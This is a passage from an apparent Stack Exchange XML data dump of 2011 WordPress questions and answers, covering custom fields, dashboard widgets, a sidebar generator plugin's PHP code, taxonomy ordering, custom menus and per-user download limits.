rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Filter_Reference#Template_Filters&lt;/a&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/_single_template&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Filter_Reference/_single_template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and &lt;code&gt;template_redirect&lt;/code&gt; Action looks good too!&#xA;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference#Template_Actions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference#Template_Actions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-03-17T20:05:12.123" LastActivityDate="2011-03-17T20:05:12.123" />
  <row Id="12316" PostTypeId="1" CreationDate="2011-03-17T17:54:27.053" Score="1" ViewCount="127" Body="&lt;p&gt;I would like to display data from a post that has custom fields in a metabox.  One of the fields is the URL for an image.  How do I create an echo to display the image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other field I want to call is a link.  I have one field for the URL and one field for the link text.  How do I echo this to diplay the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;14ner&lt;/p&gt;&#xA;" OwnerUserId="3992" LastActivityDate="2011-03-18T17:41:09.093" Title="How to echo data after a WP_Query" Tags="&lt;wp-query&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12317" PostTypeId="1" CreationDate="2011-03-17T17:54:36.430" Score="1" ViewCount="95" Body="&lt;p&gt;I'm trying to clean up the Admin &lt;a href=&quot;http://codex.wordpress.org/Dashboard_Widgets_API&quot; rel=&quot;nofollow&quot;&gt;Dashboard widgets&lt;/a&gt; so that only the administrator level users can see the various meta boxes, but no matter what i've tried the &lt;a href=&quot;http://wordpress.org/extend/plugins/broken-link-checker/&quot; rel=&quot;nofollow&quot;&gt;Broken Link Checker&lt;/a&gt; widget will not go away (see example code below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;strong&gt;WordPress 3.1 MultiSite Network&lt;/strong&gt; and working with this code in the &lt;strong&gt;MU plugins folder&lt;/strong&gt; ... not sure that matters ... i've also tried &lt;strong&gt;Adminimize&lt;/strong&gt; plugin but that did not work for me on the widget either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Turn off Dashboard Widgets */&#xA;&#xA;if( is_admin() )&#xA;    add_action('wp_dashboard_setup', 'remove_dashboard_widgets' );&#xA;&#xA;function remove_dashboard_widgets() {&#xA;    global $wp_meta_boxes;&#xA;    unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press']);&#xA;    unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);&#xA;    unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);&#xA;    unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);&#xA;    unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_recent_drafts']);&#xA;    unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);&#xA;    unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);&#xA;    unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);&#xA;    unset($wp_meta_boxes['dashboard']['normal']['core']['blc_dashboard_widget']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any pointers ... cordially,&lt;br&gt;&#xA;Chuck Scott&lt;/p&gt;&#xA;" OwnerUserId="4014" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-18T10:12:02.420" LastActivityDate="2011-03-18T10:12:02.420" Title="How to remove Broken Link Checker widget from admin menu" Tags="&lt;multisite&gt;&lt;widgets&gt;&lt;wp-admin&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="12318" PostTypeId="1" AcceptedAnswerId="12321" CreationDate="2011-03-17T18:04:38.810" Score="0" ViewCount="192" Body="&lt;p&gt;I'm tired of editing functions.php every time I want to add/remove a sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is &lt;a href=&quot;http://wordpress.org/extend/plugins/sidebar-generator/&quot; rel=&quot;nofollow&quot;&gt;Sidebar Generator plugin&lt;/a&gt;, but I wanted to develop something on my own that will work out of the box without plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I already know how to list all sidebars, how to register them and remove, but I'm not sure how to do this automatically from options page (I have one already of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've analyzed the plugin's code but my PHP sucks so I don't understand half of it or even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone here developed own sidebar generator and can help me with basics like how to register new sidebar using $_POST etc.? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about fopen(&quot;functions.php&quot;, &quot;r+&quot;), but I'm not sure about this method, because it could even wipe out the whole functions.php file if used wrong, searching for already registered widgets could be painful too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it'd be very useful to have something like that, and that's strange there's no in built sidebar generator in WP.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-17T19:22:47.667" Title="Sidebar Generator? :)" Tags="&lt;sidebar&gt;&lt;register-sidebar&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12319" PostTypeId="2" ParentId="12316" CreationDate="2011-03-17T18:31:39.957" Score="2" ViewCount="" Body="&lt;p&gt;Within your Query loop, using your image URL as an example, put this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $image_url = get_post_meta($post-&amp;gt;ID, 'image-url-field', true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &quot;image-url-field&quot; with the name of your custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, also within that same loop, do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $image_url; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-03-17T18:31:39.957" />
  <row Id="12320" PostTypeId="1" AcceptedAnswerId="12324" CreationDate="2011-03-17T18:34:42.277" Score="1" ViewCount="440" Body="&lt;p&gt;I'm returning a custom hierarchal taxonomy via wp_get_object_terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is that the results are being ordered by name or count, neither of which are proving reliable. (I'm using a custom taxonomy for &quot;Location&quot; - City, State, Country - sometimes the State appears before the City)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can order the resulting array by the custom taxonomy hierarchy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there, perhaps, another way I should be looking at this?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-03-17T21:05:05.870" Title="wp_get_object_terms - How can I order the resulting array by hierarchy?" Tags="&lt;custom-taxonomy&gt;&lt;wp-get-object-terms&gt;" AnswerCount="2" />
  <row Id="12321" PostTypeId="2" ParentId="12318" CreationDate="2011-03-17T19:22:47.667" Score="2" ViewCount="" Body="&lt;p&gt;The code for this plugin is actually pretty simple. The init function loops through all the sidebars (stored in the wp_options table) and registers them in wordpress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function init(){&#xA;        //go through each sidebar and register it&#xA;        $sidebars = sidebar_generator::get_sidebars();&#xA;&#xA;&#xA;        if(is_array($sidebars)){&#xA;            foreach($sidebars as $sidebar){&#xA;                $sidebar_class = sidebar_generator::name_to_class($sidebar);&#xA;                register_sidebar(array(&#xA;                    'name'=&amp;gt;$sidebar,&#xA;                    'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget sbg_widget '.$sidebar_class.' %2$s&quot;&amp;gt;',&#xA;                    'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;                    'before_title' =&amp;gt; '&amp;lt;h2 class=&quot;widgettitle sbg_title&quot;&amp;gt;',&#xA;                    'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;                ));&#xA;            }&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sidebars are added/removed with the add_sidebar() and remove_sidebar() methods respectively. The $_POST['sidebar_name'] gets stored in the $name variable as the sidebars name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function add_sidebar(){&#xA;        $sidebars = sidebar_generator::get_sidebars();&#xA;        $name = str_replace(array(&quot;\n&quot;,&quot;\r&quot;,&quot;\t&quot;),'',$_POST['sidebar_name']);&#xA;        $id = sidebar_generator::name_to_class($name);&#xA;        if(isset($sidebars[$id])){&#xA;            die(&quot;alert('Sidebar already exists, please use a different name.')&quot;);&#xA;        }&#xA;&#xA;        $sidebars[$id] = $name;&#xA;        sidebar_generator::update_sidebars($sidebars);&#xA;&#xA;        $js = &quot;&#xA;            var tbl = document.getElementById('sbg_table');&#xA;            var lastRow = tbl.rows.length;&#xA;            // if there's no header row in the table, then iteration = lastRow + 1&#xA;            var iteration = lastRow;&#xA;            var row = tbl.insertRow(lastRow);&#xA;&#xA;            // left cell&#xA;            var cellLeft = row.insertCell(0);&#xA;            var textNode = document.createTextNode('$name');&#xA;            cellLeft.appendChild(textNode);&#xA;&#xA;            //middle cell&#xA;            var cellLeft = row.insertCell(1);&#xA;            var textNode = document.createTextNode('$id');&#xA;            cellLeft.appendChild(textNode);&#xA;&#xA;            //var cellLeft = row.insertCell(2);&#xA;            //var textNode = document.createTextNode('[&amp;lt;a href=\'javascript:void(0);\' onclick=\'return remove_sidebar_link($name);\'&amp;gt;Remove&amp;lt;/a&amp;gt;]');&#xA;            //cellLeft.appendChild(textNode)&#xA;&#xA;            var cellLeft = row.insertCell(2);&#xA;            removeLink = document.createElement('a');&#xA;            linkText = document.createTextNode('remove');&#xA;            removeLink.setAttribute('onclick', 'remove_sidebar_link(\'$name\')');&#xA;            removeLink.setAttribute('href', 'javacript:void(0)');&#xA;&#xA;            removeLink.appendChild(linkText);&#xA;            cellLeft.appendChild(removeLink);&#xA;&#xA;&#xA;        &quot;;&#xA;&#xA;&#xA;        die( &quot;$js&quot;);&#xA;    }&#xA;&#xA;    function remove_sidebar(){&#xA;        $sidebars = sidebar_generator::get_sidebars();&#xA;        $name = str_replace(array(&quot;\n&quot;,&quot;\r&quot;,&quot;\t&quot;),'',$_POST['sidebar_name']);&#xA;        $id = sidebar_generator::name_to_class($name);&#xA;        if(!isset($sidebars[$id])){&#xA;            die(&quot;alert('Sidebar does not exist.')&quot;);&#xA;        }&#xA;        $row_number = $_POST['row_number'];&#xA;        unset($sidebars[$id]);&#xA;        sidebar_generator::update_sidebars($sidebars);&#xA;        $js = &quot;&#xA;            var tbl = document.getElementById('sbg_table');&#xA;            tbl.deleteRow($row_number)&#xA;&#xA;        &quot;;&#xA;        die($js);&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sidebars are loaded and registered into the theme with the get_sidebar method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function get_sidebar($name=&quot;0&quot;){&#xA;        if(!is_singular()){&#xA;            if($name != &quot;0&quot;){&#xA;                dynamic_sidebar($name);&#xA;            }else{&#xA;                dynamic_sidebar();&#xA;            }&#xA;            return;//dont do anything&#xA;        }&#xA;        global $wp_query;&#xA;        $post = $wp_query-&amp;gt;get_queried_object();&#xA;        $selected_sidebar = get_post_meta($post-&amp;gt;ID, 'sbg_selected_sidebar', true);&#xA;        $selected_sidebar_replacement = get_post_meta($post-&amp;gt;ID, 'sbg_selected_sidebar_replacement', true);&#xA;        $did_sidebar = false;&#xA;        //this page uses a generated sidebar&#xA;        if($selected_sidebar != '' &amp;amp;&amp;amp; $selected_sidebar != &quot;0&quot;){&#xA;            echo &quot;\n\n&amp;lt;!-- begin generated sidebar --&amp;gt;\n&quot;;&#xA;            if(is_array($selected_sidebar) &amp;amp;&amp;amp; !empty($selected_sidebar)){&#xA;                for($i=0;$i&amp;lt;sizeof($selected_sidebar);$i++){                    &#xA;&#xA;                    if($name == &quot;0&quot; &amp;amp;&amp;amp; $selected_sidebar[$i] == &quot;0&quot; &amp;amp;&amp;amp;  $selected_sidebar_replacement[$i] == &quot;0&quot;){&#xA;                        //echo &quot;\n\n&amp;lt;!-- [called $name selected {$selected_sidebar[$i]} replacement {$selected_sidebar_replacement[$i]}] --&amp;gt;&quot;;&#xA;                        dynamic_sidebar();//default behavior&#xA;                        $did_sidebar = true;&#xA;                        break;&#xA;                    }elseif($name == &quot;0&quot; &amp;amp;&amp;amp; $selected_sidebar[$i] == &quot;0&quot;){&#xA;                        //we are replacing the default sidebar with something&#xA;                        //echo &quot;\n\n&amp;lt;!-- [called $name selected {$selected_sidebar[$i]} replacement {$selected_sidebar_replacement[$i]}] --&amp;gt;&quot;;&#xA;                        dynamic_sidebar($selected_sidebar_replacement[$i]);//default behavior&#xA;                        $did_sidebar = true;&#xA;                        break;&#xA;                    }elseif($selected_sidebar[$i] == $name){&#xA;                        //we are replacing this $name&#xA;                        //echo &quot;\n\n&amp;lt;!-- [called $name selected {$selected_sidebar[$i]} replacement {$selected_sidebar_replacement[$i]}] --&amp;gt;&quot;;&#xA;                        $did_sidebar = true;&#xA;                        dynamic_sidebar($selected_sidebar_replacement[$i]);//default behavior&#xA;                        break;&#xA;                    }&#xA;                    //echo &quot;&amp;lt;!-- called=$name selected={$selected_sidebar[$i]} replacement={$selected_sidebar_replacement[$i]} --&amp;gt;\n&quot;;&#xA;                }&#xA;            }&#xA;            if($did_sidebar == true){&#xA;                echo &quot;\n&amp;lt;!-- end generated sidebar --&amp;gt;\n\n&quot;;&#xA;                return;&#xA;            }&#xA;            //go through without finding any replacements, lets just send them what they asked for&#xA;            if($name != &quot;0&quot;){&#xA;                dynamic_sidebar($name);&#xA;            }else{&#xA;                dynamic_sidebar();&#xA;            }&#xA;            echo &quot;\n&amp;lt;!-- end generated sidebar --&amp;gt;\n\n&quot;;&#xA;            return;         &#xA;        }else{&#xA;            if($name != &quot;0&quot;){&#xA;                dynamic_sidebar($name);&#xA;            }else{&#xA;                dynamic_sidebar();&#xA;            }&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We actually load the sidebar array from the wp_options table with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function get_sidebars(){&#xA;        $sidebars = get_option('sbg_sidebars');&#xA;        return $sidebars;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is really pretty simple once you know PHP, so may I suggest taking a little time to become more familiar with it? It really is a great skill to have. Hopefully this helps point you in the right direction. &lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2011-03-17T19:22:47.667" CommentCount="7" />
  <row Id="12322" PostTypeId="2" ParentId="12317" CreationDate="2011-03-17T19:33:19.543" Score="3" ViewCount="" Body="&lt;p&gt;The problem is probably just that your code runs before broken links checker adds the meta box. Try changing the action line to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_admin()){&#xA;  add_action('wp_dashboard_setup', 'remove_dashboard_widgets', 1000 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To be a little more clear, the particular issue here is that the &lt;code&gt;add_action()&lt;/code&gt; function is running super early compared to Broken Link Checker's add_action function. The two ways to fix that issue are to either run your code later (hooking your plugin's main functionality onto init and throwing your actions and filters into that init function), or increasing the precedence of your action (what I suggested above).&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-03-17T20:23:17.003" LastActivityDate="2011-03-17T20:23:17.003" CommentCount="2" />
  <row Id="12323" PostTypeId="2" ParentId="12320" CreationDate="2011-03-17T19:40:29.797" Score="1" ViewCount="" Body="&lt;p&gt;You could use &lt;code&gt;wp_list_categories&lt;/code&gt; to sort out the hierarchy, it started supporting taxonomies as of 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example of using a custom taxonomy with &lt;code&gt;wp_list_categories&lt;/code&gt; on the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories#Display_Terms_in_a_custom_taxonomy&quot; rel=&quot;nofollow&quot;&gt;codex page&lt;/a&gt; for the function.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd just need to pass in the term ids from your &lt;code&gt;wp_get_object_terms&lt;/code&gt; call to the &lt;code&gt;wp_list_categories&lt;/code&gt; include arg, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_categories( array( 'include' =&amp;gt; $your_array_of_ids ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should then list out the terms of your custom taxonomy in a hierarchal format, though it may not appear so if your theme isn't padding list elements(so be sure to apply appropriate styling if the results aren't showing in a hierarchal form).&lt;/p&gt;&#xA;" OwnerUserId="2962" LastActivityDate="2011-03-17T19:40:29.797" />
  <row Id="12324" PostTypeId="2" ParentId="12320" CreationDate="2011-03-17T21:05:05.870" Score="0" ViewCount="" Body="&lt;p&gt;Just a rough sketch to get your idea:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;countries (hierarchical taxonomy)  &lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;France (country - sub taxonomy)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Champagne (state - sub sub taxonomy)  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Le Mans (city - term)  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Angers  (city - term)  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Nantes  (city - term)  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And you want to order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_results = query( 'country' =&amp;gt; 'france', 'orderby' =&amp;gt; 'state city', 'order' =&amp;gt; 'ASC' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did i get this right? If not, feel free to edit my answer or update your Q.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-17T21:05:05.870" CommentCount="7" />
  <row Id="12325" PostTypeId="2" ParentId="12281" CreationDate="2011-03-17T21:30:46.200" Score="0" ViewCount="" Body="&lt;p&gt;The plugin way to do this is use Login with Ajax. I think you can specify different URLs for different user levels after logging and registration actions.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-17T21:30:46.200" />
  <row Id="12326" PostTypeId="1" CreationDate="2011-03-17T21:51:18.583" Score="0" ViewCount="123" Body="&lt;p&gt;I have a client who's designed a menu with a tricked-out dropdown for the child pages of only one parent page, and he'd like to have it use the new custom menu option. I know how to code custom menus but not how to add the extra code in the middle that will trick out his dropdown the way he wants. (The stuff in the div labeled &quot;bottom&quot; adds rounded corners, and the secondary menu also has alternating classes for the li's, just to make things more interesting.) Can somebody give me some advice on how to make this happen? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the way the dropdown was coded in straight html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;nav&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;HOME&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 2&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;drop&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Subpage 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;alt&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Subpage 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Subpage 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;alt&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Subpage 4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Subpage 5&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;alt&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Subpage 5&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Subpage 6&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;alt&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Subpage 7&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;div class=&quot;bottom&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;box-center&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;box-right&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /bottom --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /drop --&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 5&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 6&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 7&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 8&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 9&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help! Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="885" LastActivityDate="2011-08-15T12:24:38.717" Title="How to add extra, specific code into the middle of a WP 3.0 custom menu?" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="12327" PostTypeId="1" CreationDate="2011-03-17T22:02:07.203" Score="0" ViewCount="84" Body="&lt;p&gt;I am using Wordpress to run a membership site, and one of the features is that members can download a badge. However, they are only allowed to download the badge once per year, starting form the date they joined, which I have stored in my database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can access the badge from a link on the homepage when they are logged. prior to downloading the badge, they have to fill in some personal details that are then entered onto the badge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would to like to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the member hasn't downloaded the badge then when they click the link, they are taken to the next page.&lt;/li&gt;&#xA;&lt;li&gt;If they have downloaded the badge, then they are taken to a different page saying &quot;You have already downloaded this file&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was thinking that the best way would be to count the number of downloads using a new table in my database and then comopare todays date with their start date. Unfortunately, I'm a bit concerned about adding random tables to the DB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be great. I've looked at some download plugins, but they don't seem to do the job...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a go at building something but nothing seems to be happening so i must be missing something. Code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if (is_user_logged_in()) {&#xA;&#xA;    global $user_ID;&#xA;    $paypal_user = get_user_meta($user_ID, 'paypal_user', true);&#xA;    $download = get_user_meta($user_ID, 'badge_dl', true);&#xA;    $exp_date = $paypal_user-&amp;gt;expire_date;&#xA;    $currentDate = date('Y-m-d');&#xA;&#xA;    if (($currentDate &amp;lt;= $exp_date) and ($download == 'yes')) { ?&amp;gt;&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;downloaded.php&quot;&amp;gt;Member Downloads&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;?php } &#xA;&#xA;    else { ?&amp;gt;&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;member_badge_lp.php&quot; onClick=&quot;&amp;lt;?php update_user_meta($user_ID, 'badge_dl', 'yes'); ?&amp;gt;&quot;&amp;gt;Member Downloads&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;   &#xA;&#xA;    &amp;lt;?php }&#xA;&#xA;}&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why it might not be working? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again.&lt;/p&gt;&#xA;" OwnerUserId="3245" LastEditorUserId="3245" LastEditorDisplayName="" LastEditDate="2011-03-21T15:05:07.073" LastActivityDate="2011-03-21T15:05:07.073" Title="Only allow user to access a link once a year, based on their joining date" Tags="&lt;database&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="12328" PostTypeId="1" AcceptedAnswerId="12666" CreationDate="2011-03-17T22:08:33.483" Score="1" ViewCount="108" Body="&lt;p&gt;Is it possible to filter the posts or categories that XML-RPC users see in their mobile application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plugin that hooks into &lt;code&gt;pre_get_posts&lt;/code&gt; and &lt;code&gt;list_terms_exclusions&lt;/code&gt; to do what I need it to do.  I've had requests to allow the same functionality on their mobile devices.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-03-21T21:14:53.037" Title="Possible to filter the posts or categories that XML-RPC users see in their mobile application?" Tags="&lt;filters&gt;&lt;query&gt;&lt;mobile&gt;&lt;xml-rpc&gt;" AnswerCount="2" CommentCount="1" />
